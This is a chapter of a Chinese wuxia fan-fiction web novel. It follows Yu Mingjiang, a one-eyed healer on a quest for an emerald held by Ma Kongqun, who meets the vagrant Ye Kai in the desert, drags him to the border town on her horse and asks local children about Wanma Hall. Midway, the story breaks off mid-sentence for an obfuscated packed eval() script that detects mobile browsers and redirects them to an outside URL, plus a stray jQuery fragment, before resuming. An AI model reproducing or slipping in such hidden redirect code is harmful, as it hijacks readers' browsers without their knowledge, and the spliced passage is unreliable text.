时近黄昏，落日低垂在沙漠的边缘，半橘红半灿金的霞光，笼罩着整片沙漠。
远处走来一人一骑。
鸟翅环上挂了只竹编药篓，尤明姜坐在马背上，一手执缰，一手举起袖腕，低头用虎牙撕扯着绑带。
袖口杀得太紧，污血被兜在了袖管子里，她叼着抻直的绑带，头一甩，绑带“嘣”地迸裂，暖烘烘的血溅在了脸上。
“啐！”吐了口掺血的唾沫，尤明姜抹了把脸上的血污，抄起帷帽戴回了头顶，严严实实地遮住了大半张脸。
一路遇上了一波又一波的刺客，都是奔着她手上的鸽子血戒指来的。虽然耽搁了些时间，但好在小王八翻不出大风浪，她还是平安地抵达了蒙东。
“蒙东是个好地方……咦？这话好耳熟……”
想到这里，尤明姜垂落眼睑，单手捂住自己被黑绸带蒙住的左眼睛。
牺牲了一只左眼球，换来了日月神教黑木崖总坛的入场券。
可她总觉得心里空落落的。
倒不是因为左眼球功能丧失，这一点，压根没什么值得担心的。
每一次复活，都会瞬间清除她的所有负面状态，生命值与体力值全满，各项属性恢复至最佳状态。
她只是觉得好像遗忘了什么人。
海红珠、海四爹、铁萍姑、高寄萍、石群、孟星魂、叶翔、小何……少了谁？
尤明姜捂着脑袋想了会儿，还是想不起来。
算了。
先琢磨正事儿吧。
·
东方柏要求她提供一份特殊的投名状——无论是强攻，还是智取，务必夺取马空群手中的祖母绿宝石。
不是东方柏有宝石收藏癖，而是这块祖母绿宝石另有玄机。
据传，他所说的这一块祖母绿宝石，是西方魔教的镇教之宝。
二十年前，西方魔教战败后，这颗宝石竟然遗失了下落。当时有人说，这颗宝石落在了白天羽的手里。
十八年前，白家惨遭灭门，真凶扑朔迷离，马空群接管了白天羽的全部遗产。
作为最大受益者，按她的推测，它极有可能是在马空群的手里。
尤明姜喃喃道：“富贵险中求。”
不止是祖母绿宝石，她亟需钱、势、权、人、地，亟需一个运筹于己手的势力范围。前段时间，高寄萍曾向她传了一份情报：马空群仇家临门。因此，那风声鹤唳的关东万马堂，无疑是不二之选，这才是她涉身犯险的真正目的。
枣红马的耳朵竖了起来，她轻笑一声，俯身摸了摸马鬃。
“好伙计，辛苦你了。待会儿到了绿洲，奖励你多吃些嫩一点的苜蓿草。”
说话间，远处的景色豁然一变。
隐隐可见碧波粼粼的万亩湖泊、郁郁葱葱的芦苇荡、黄绿色的沙柳林，赫然是一处生机盎然的绿洲。
“①百年如朝露，万象皆浮云……不管怎么说……”
尤明姜扯过缰绳，打了个唿哨，她双腿轻轻一夹，枣红马嘶鸣一声，撒欢似的奔跑了起来。她逆着光，在微凉的暮风中舒展了右手，戴在食指上的那枚鸽子血戒指在橘红色的余晖中熠熠生辉。
“新的故事开始了——”
.
叶开躺在绿洲边缘的沙地上。
一袭破衣烂衫，污脏的头发结成乱蓬蓬的鸟窝，颊边垂落几绺油腻的发丝，浑身散发着一股酸臭气。
棕斑虎鼬叼了只沙鼠，准备带回巢穴喂养给小幼崽。经过他的身边，它拱着吻部嗅了嗅，然后“咻”地竖起了尾巴，一溜烟就没影了。
连日的沙漠之行，厚厚的靴底被磨穿了一个大窟窿，脚底板磨了好些个肥如黄豆的水泡。绿洲离他仅有一射之地，但凡他爬起来，勤走上一段路，天黑就能抵达边城了。
可他偏不。
双手枕在脑后，叶开跷起二郎腿，嘴里叼了朵风干的小雏菊，他懒洋洋的，骨头像酥软了似的，一颠一颠地晃荡着脚。
他的嘴角流露出一丝笑意，喃喃自语：“……这世间的种种，总是公平的，我这双脚啊，就该多吃点儿苦头。”
说完，他哼着小曲，掏了把温热的细沙，笑眯眯地按在了脚底的水泡上，死劲地摩擦了几下。
“叮铃铃——”清脆的铃铛声，伴着窸窸窣窣的马蹄声，由远及近。
叶开浑身一僵，没发现丁灵琳的身影，这才拍着胸脯子，松了一口气。
天知道，他听到“叮铃铃”就哆嗦，听到“叮铃铃”就想逃跑。
这人没事给马装什么铃铛？他偏过头，没好气地看向了声源处。
嗯？！
叶开睁大了眼睛，头一回见识到什么叫精致的邋遢。
来人骑着一匹枣红马，慢悠悠地游荡在沙漠上，垂缀在帽沿上的皂纱，随着绵延起伏的黄沙飘飘扬扬。
麂皮绒的厚底靴，大袖宽袍，料子像是雪绸，头上还戴着个皂纱帷帽。
马鞍左前侧是鸟翅环，挂了一只竹编药篓。
沙漠环境特殊，白日沙砾滚烫，毒虫隐匿于柔软的沙底，夜晚寒气却重，毒虫纷纷出没，务必要穿一身通风防晒的行头，免得太遭罪。这个人生怕晒伤似的，把自己裹得严严实实。
但这人又不是一般的邋遢。
那件大袖宽袍，看起来脏兮兮的，袖管子都撕得一绺一绺的，还沾了不少酱油色的泥浆。隔着老远就闻到一股恶臭，同样邋遢的叶开也忍不住竖起了大拇指。
这位才是邋遢的最高境界啊！
甭管是谁看到了她，都逃不掉这种辣眼睛的难受劲儿。
叶开一边想，一边收回视线，继续仰望着浩瀚的天空。
橘红的余晖照在他的脸上，他眯起眼睛，双臂垫在脑后，懒洋洋地吹了两声口哨：“吁——咻！”
兴许是他吹的口哨太过刺耳，马背上的脏袍人偏过脸，轻勒住了缰绳，冰冷的视线朝他扫了过来。
脏袍人：“喂，你是在挑衅我吗？”
叶开愣住了：“……”
天地可鉴，他绝没有挑衅的意思。
“看来你是不否认了。”脏袍人轻功精绝，一晃眼的工夫，已半蹲在叶开的面前。她身体前倾，隔着一层轻纱，直勾勾地盯着他，陷入了沉思。
·
尤明姜打量着眼前的男子，心想：好邋遢的一个男人。
他的五官很秀气，瘦瘦高高的，眼睛熠熠如星，整个人像银杉树似的，眼睛弯弯的，嘴唇也弯弯的，只是穿着忒邋遢了些，浑身还散发着一股酸臭气。
啧，可惜了一张白净的面皮。
两个人大眼瞪小眼。
叶开是个很懒的人，懒得招惹麻烦，但如果有人要找他的麻烦，他不介意给对方吃一点儿苦头。
被她看得心慌，他勉强笑道：“阁下盯着我看什么？”
“你不渴吗？”脏袍人莫名其妙地来了一句。
水袋早空了，他的嘴唇干得像龟裂的农田，几乎都要裂得出血了，每一道裂痕都在喊渴，显然是滴水未进。
“不，自古雄才多磨难，”叶开沙哑着嗓音，随口敷衍道，“我这是打熬筋骨，磨炼心性。”
尤明姜笑了笑：“你是齐桓公再世？”
“哦？”叶开睁大了眼睛，看着窗外的夜色。
“堂堂一代霸主，却被活活渴死、饿死，腐尸上爬满了蛆。不过……”
“不过？”
“你比他幸运，要是你在这儿渴死了，多半是一具干尸，不会生蛆。”
叶开怔了半晌，仰面大笑：“好好好，这说明②爱笑的男人运气不会太差。”
从竹编药篓中取了个竹筒，尤明姜抛给他，示意他喝一口：“喏，解解渴。”
“多谢。”道谢归道谢，但他丝毫没有把竹筒接过来的意思。
理解他对陌生人的戒心，她也不勉强，撩开斗笠上的皂纱，露出了遍布污血的大半张脸，还有被黑绸带蒙住的左眼。
独眼儿？
叶开一愣，还没来得及问，便见到黑绸带上还镶了块青鱼石，怪里怪气的。
原来是防沙眼镜。
他心里不由好奇起来，心想：这人戴防沙眼镜，怎么光戴左边的那一只？
·
正想得入神，忽听“啵”地一声，打开了竹筒塞子，酒香缭绕，尤明姜自己先喝了一大口。
叶开瞬间坐起身：“即墨老酒，纯黍米的。”
听到这话，尤明姜瞟了叶开一眼，嗤笑道：“呦，你倒是馋猫鼻子尖。”
“给我来一口。”
竹筒递到了嘴边，他低头喝了一大口，喉咙一滚，又喷出了一大半来。
叶开表情微妙：“……淡盐水？”
“我没说是酒。”尤明姜耸耸肩，一脸无辜地缩回了手。
这竹筒里的确装过即墨老酒，但大漠过于炎热，旅人无不汗流浃背，她嫌喝酒不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14854171|159209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
解渴，又特意往喝光了的竹筒里装的淡盐水。
喝淡盐水能调元气，这是一个铃医的智慧。
叶开低头又喝一口，心情十分复杂，眼前人的脾气还真是……挺跳脱的。
·
橙红色的浪潮，在地平线处蔓延，将沙海彻底浸染成一片熠熠生辉的赤金色。
“好美的晚霞——”
遥望着壮丽的晚霞，尤明姜怔怔地看得出神了。
“你知道，看到晚霞意味着什么吗？”
听到这一声轻叹，叶开善意地提醒了一句。
尤明姜回过神：“意味着什么？”
叶开说：“意味着天要黑了。”
沙漠的夜晚格外寒冷，不乏蛇蝎毒虫出没，铁打的身子也遭不住。
“……那我得走了。”尤明姜蹦了起来，一个飞身跨上马背。
她缰绳一带，催着马儿走了两步，回头喊了他一声，“喂，上来，捎你一程。”
叶开左右看了看，又指了指自己：“说我吗？”
“除了你，还有其他人吗？”
“你要去哪？”
“边城。”尤明姜答得飞快。
叶开沉默了半晌，忽然道：“不了。”
他这双脚啊，就该多吃点儿苦头，自己走过去，也是一样的。
“好吧。”尤明姜不勉强，腰肢轻轻一晃，枣红马就踢踏着往前走了。
叼着风干的小雏菊，叶开转过身，背对着她挥了挥手，慢悠悠地往旁边走。
蓦的，一只手薅住了他的腰带，他心中一惊，嘴里的小雏菊掉在了地上。
“什……”叶开一脸懵然，什么情况？
忽觉得一阵天旋地转，转眼，人已经横趴在马背上。
“啰哩巴嗦的，驾！”
脏袍人呼喝着扬鞭，朝马屁股上抽了一鞭，闪电般地冲了出去。
“等—等—放—我—下—来！”
·
抵达边城时，天边最后一缕霞光已散。
“呕——”
叶开蹲在石碑旁，吐得昏天黑地，死活不肯继续搭她的“顺风马”。
“原来你晕马啊？”尤明姜跳下马来，伸手帮他顺了顺脊梁。
你才晕马，你全家都晕马！
叶开怒瞪她一眼，来不及怒骂，胃里又是一阵翻江倒海，赶紧低头狂吐。
听到这一声声呕吐，尤明姜心虚地骑上马，对石碑边的叶开说：
“呃，那我走了，既然已经到边城了，那咱们有缘再见。”
见叶开不理她，兀自吐得起劲，她讪讪地轻夹马腹，一溜烟儿跑没影了。
·
这是一处夯土筑墙的小城。
城内的主道路是沙砾铺成的，零星能瞧见几棵高大的胡杨树。
这里的房屋大都是泥坯的，窗子开得很小，又往墙上糊了厚实的黏土，漫天飘扬的黄沙刮到这里，总算消停了不少。
果断地翻身下马，她情愿费点儿脚力，也不愿意叫石子划伤了马蹄。
牵着马环顾一圈，街上已经没什么人了，只有几个浑身脏兮兮的半大孩子，还不舍得回家，凑在一起玩斗鸡的小游戏。
正盘算着找人问问路，但一见到她走近了，孩子们立刻都跑开了。
他们缩到了自家的瓦檐下，小脸脏脏的，头发也乱蓬蓬的，一边咬着手指头，一边好奇地打量着她。
尤明姜掏了把软糯拉丝的饴糖，半哄半拉地揽过一个胆大的孩子。
这一回，她在竹编药篓里塞了好些桂圆红枣瓜子花生饴糖桃酥。
尤其是干炒花生。不太生，也不太熟，每一颗都很饱满。
往他嘴里塞了块饴糖，尤明姜亲亲热热地搂着他：“我想找个最聪明的孩子。”
小孩子尝到了甜滋味，一听“最聪明”的话题，急忙说：“我是最聪明的孩子。”
“那你知道万马堂吗？”
见孩子一个劲儿点头，尤明姜笑了起来，又在他的小手里塞了个桂圆：“那最聪明的孩子，我考考你，万马堂的人经常去哪儿？”
经常去哪儿……
饴糖在牙上胶成了一坨，孩子舔了舔牙，伸手朝一个地方指了指：“萧老……萧老板……”
尤明姜连忙抬起头，顺着小孩子手指的方向看了过去。
一栋飞檐上挂了红灯笼的老楼，正静静地矗立在黄沙之中……
·